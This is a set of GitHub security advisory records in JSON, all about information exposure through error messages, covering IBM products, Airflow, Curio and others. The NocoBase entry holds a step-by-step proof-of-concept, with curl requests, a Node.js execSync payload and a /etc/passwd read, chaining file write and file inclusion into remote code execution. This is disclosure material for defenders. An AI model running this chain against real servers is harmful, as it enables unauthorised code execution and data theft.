CWE-209

{
  "affected": [],
  "aliases": [
    "CVE-2025-25045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-23T23:15:16Z",
    "severity": "MODERATE"
  },
  "details": "IBM InfoSphere Information 11.7 Server authenticated user to obtain sensitive information when a detailed technical error message is returned in a request.  This information could be used in further attacks against the system.",
  "id": "GHSA-gfh3-mv29-84hc",
  "modified": "2025-04-24T00:31:19Z",
  "published": "2025-04-24T00:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25045"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7231332"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0b1"
            },
            {
              "fixed": "3.1.5rc1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65995"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T15:42:56Z",
    "nvd_published_at": "2026-02-21T03:15:57Z",
    "severity": "MODERATE"
  },
  "details": "When a DAG failed during parsing, Airflow\u2019s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG.\u00a0\n\nThe issue has been fixed in Airflow 3.1.5rc1 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.",
  "id": "GHSA-gfw7-2v73-69wg",
  "modified": "2026-02-25T15:42:56Z",
  "published": "2026-02-21T03:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65995"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/58252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/61883"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/1qzlrjo2wmlzs0rrgzgslj2pzkor0dr2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/12/12/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Airflow error reporting may expose full kwargs"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-4842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-21T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security Secret Server 10.6 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 190046.",
  "id": "GHSA-gg22-v8g3-2r42",
  "modified": "2022-05-24T17:37:11Z",
  "published": "2022-05-24T17:37:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4842"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/190046"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6336251"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-56494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-27T15:15:39Z",
    "severity": "LOW"
  },
  "details": "IBM EntireX 11.1 could allow a local user to obtain sensitive information when a detailed technical error message is returned.  This information could be used in further attacks against the system.",
  "id": "GHSA-gg4p-8wfq-mx57",
  "modified": "2025-02-27T15:31:52Z",
  "published": "2025-02-27T15:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56494"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7184194"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-42777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-29T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Stimulsoft (aka Stimulsoft Reports) 2013.1.1600.0, when Compilation Mode is used, allows an attacker to execute arbitrary C# code on any machine that renders a report, including the application server or a user\u0027s local machine, as demonstrated by System.Diagnostics.Process.Start.",
  "id": "GHSA-gg9g-9v4f-9pj3",
  "modified": "2022-11-01T19:00:27Z",
  "published": "2022-10-29T19:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42777"
    },
    {
      "type": "WEB",
      "url": "http://burninatorsec.blogspot.com/2022/04/library-rce-object-chaining-cve-2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-12365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-27T19:16:02Z",
    "severity": "MODERATE"
  },
  "details": "Error Messages Wrapped In HTTP Header.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.",
  "id": "GHSA-ggjp-vjc6-ghph",
  "modified": "2025-11-10T15:31:03Z",
  "published": "2025-10-27T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12365"
    },
    {
      "type": "WEB",
      "url": "https://azure-access.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-43021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-01T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "\nIBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 266167.\n\n",
  "id": "GHSA-ggqc-h44g-mr6x",
  "modified": "2023-12-01T21:30:30Z",
  "published": "2023-12-01T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43021"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/266167"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7074317"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-13T19:53:48Z",
    "severity": "MODERATE"
  },
  "details": "IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system.",
  "id": "GHSA-ghgp-42hg-j6p2",
  "modified": "2026-03-13T21:31:45Z",
  "published": "2026-03-13T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13726"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7263391"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-434",
      "CWE-73",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:42:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk  including the application directory itself  by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin\u0027s storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record\u0027s `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write  including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24\u201327 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), \u0027storage\u0027, \u0027uploads\u0027) } =\n  this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n\n**Step 1  Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n\n**Step 2  Create the RCE payload:**\n\n```bash\ncat \u003e /tmp/rce_proof.js \u003c\u003c \u0027EOF\u0027\nconst { execSync } = require(\u0027child_process\u0027);\nconst fs = require(\u0027fs\u0027);\nconst out = execSync(\u0027id; whoami; hostname\u0027).toString();\nfs.writeFileSync(\u0027/home/spooky/nocobase/storage/uploads/out.txt\u0027, out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3  Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"options\":{\"documentRoot\":\".\"},\"default\":true}\u0027\n```\n\u003cimg width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" /\u003e\n\n**Step 4  upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n\u003cimg width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" /\u003e\n\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process  RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts  L141-151\nasync enable(ctx, next) {\n  const { filterByTk } = ctx.action.params;   // \u2190 raw user input\n  if (!filterByTk) {\n    ctx.throw(400, \u0027plugin name invalid\u0027);\n  }\n  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n  app.runAsCLI([\u0027pm\u0027, \u0027enable\u0027, ...keys], { from: \u0027user\u0027 });  // \u2190 no sanitization\n  ctx.body = filterByTk;\n  await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n  if (typeof m === \u0027string\u0027) {\n    m = require(m);   // \u2190 arbitrary file executed as Node.js module\n  }\n  if (typeof m !== \u0027object\u0027) { return m; }\n  return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path \u2014 only in storage directory helpers. The HTTP handler goes straight from user input \u2192 `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1  Trigger require() on any file:**\n\n```bash\ncurl -s \"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n  -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} \u2014 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n\u003cimg width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" /\u003e\n\nand we see the error message after sending the request:\n\n\u003cimg width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" /\u003e\n\n**Step 2 navigate to the logger and download the system error log**\n\n\u003cimg width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" /\u003e\n\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n\u003cimg width=\"1264\" height=\"268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8\" /\u003e\n\n## Remote code execution\n\nWith our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it \n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nRetrieve output via NocoBase static file serving\n\n\u003cimg width=\"832\" height=\"214\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2\" /\u003e\n\n\u003cimg width=\"810\" height=\"96\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562\" /\u003e",
  "id": "GHSA-ghvf-qf6h-g8x5",
  "modified": "2026-08-20T18:42:21Z",
  "published": "2026-08-20T18:42:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-ghvf-qf6h-g8x5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/7c9ffe1427a529d62576b83c35222ba7ef9b8d11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/a89e5a999b608bcb4ec67a845e924af0fb58a7c7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.27.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filecoin-project/curio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.24.3"
            },
            {
              "fixed": "1.27.3-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:48:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMultiple HTTP handlers in Curio passed raw database error messages to HTTP clients via `http.Error()`. When the PostgreSQL/YugabyteDB driver (pgx) returned errors, these could contain the database connection string \u2014 including hostname, port, username, and password. Additionally, the internal connection string was constructed with the plaintext password embedded in the URL, which was also included in startup error messages and could surface in logs.\n\n## Details\n\nThree components were affected:\n\n1. **PDP handlers** (`pdp/handlers.go`) \u2014 18+ HTTP error paths passed `err.Error()` directly to HTTP responses. While these endpoints require ECDSA JWT authentication, an authenticated client (e.g., a FilPay service) that triggered a database error would receive the raw pgx error in the HTTP response body. Present since PDP was introduced in v1.25.1.\n\n2. **Market mk12 deal status** (`market/mk12/mk12_utils.go`) \u2014 The `GetDealStatus` handler included `err.Error()` in error responses: `\"failed to query the db for deal status: %s\"`. Present since v1.24.3.\n\n3. **Market mk20 auth middleware** (`market/mk20/http/http.go`) \u2014 Authentication error responses included `err.Error()`, potentially leaking database error details during auth flows. Present since v1.27.2.\n\n### Root Cause\n\nThe database connection string was constructed as:\n```\npostgresql://username:password@host:port/database?...\n```\nThe plaintext password was embedded directly in the URL. When pgx returned connection or query errors, the error text could contain fragments of this connection string. HTTP handlers forwarded these errors verbatim to clients.\n\n## Impact\n\nAn attacker with network access to Curio\u0027s PDP or Market HTTP endpoints and valid authentication credentials could intentionally trigger database errors (e.g., by sending malformed requests that cause SQL failures) and extract the YugabyteDB connection credentials from the error response. With these credentials, the attacker could directly access the database, which serves as Curio\u0027s control plane.\n\nPer Curio\u0027s [security boundary documentation](https://github.com/filecoin-project/curio/blob/main/documentation/en/design/README.md#security-boundary), these endpoints are expected to be on a trusted network. However, defense-in-depth requires that credentials are never exposed through HTTP responses regardless of network trust assumptions.\n\n## Remediation (PR #919)\n\n1. **Connection string password masking:** The password in the connection string is replaced with `********`. The real password is set separately via `cfg.ConnConfig.Password`, so it never appears in error messages or logs.\n\n2. **HTTP handler sanitization:** All affected handlers now log the detailed error server-side and return a generic error message to the HTTP client.\n\n3. **Error filter (`errFilter`):** A new function in the database layer detects and redacts any error messages containing keywords like \"password\", \"host\", \"port\", or \"://\" before they can propagate.\n\n4. **Prometheus metrics cleanup:** Database connection metrics that could expose connection details were removed from the metrics endpoint.\n\n5. **Security boundary documentation:** A new section documents what Curio expects operators to secure.\n\n## Resources\n\n- Fix: https://github.com/filecoin-project/curio/pull/919\n- Patched release: v1.27.3-rc2",
  "id": "GHSA-gj6x-q8rh-wj6x",
  "modified": "2026-02-26T22:48:00Z",
  "published": "2026-02-26T22:48:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/security/advisories/GHSA-gj6x-q8rh-wj6x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/pull/919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/commit/551da78e0123892600d8e6dfe9de7a579055d80b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filecoin-project/curio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/blob/main/documentation/en/design/README.md#security-boundary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Curio exposes database credentials to users with network access through verbose HTTP error responses"
}